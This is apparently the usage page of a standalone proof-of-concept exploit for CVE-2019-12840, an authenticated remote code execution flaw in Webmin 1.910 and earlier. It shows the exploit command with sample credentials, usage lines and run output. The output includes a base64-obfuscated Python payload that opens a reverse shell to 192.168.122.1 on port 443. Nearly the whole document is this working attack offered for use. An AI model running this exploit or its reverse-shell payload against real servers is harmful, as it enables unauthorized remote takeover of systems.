针对 CVE-2019-12840 的独立 PoC。 下面将在 443 端口反弹一个反向 shell
$ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by KrE80r
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
[*] logging in ...
[+] got sid cd97c25b388e8ecd36f15571b223a8bf
[*] sending command python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguMTIyLjEiLDQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXQ=='))"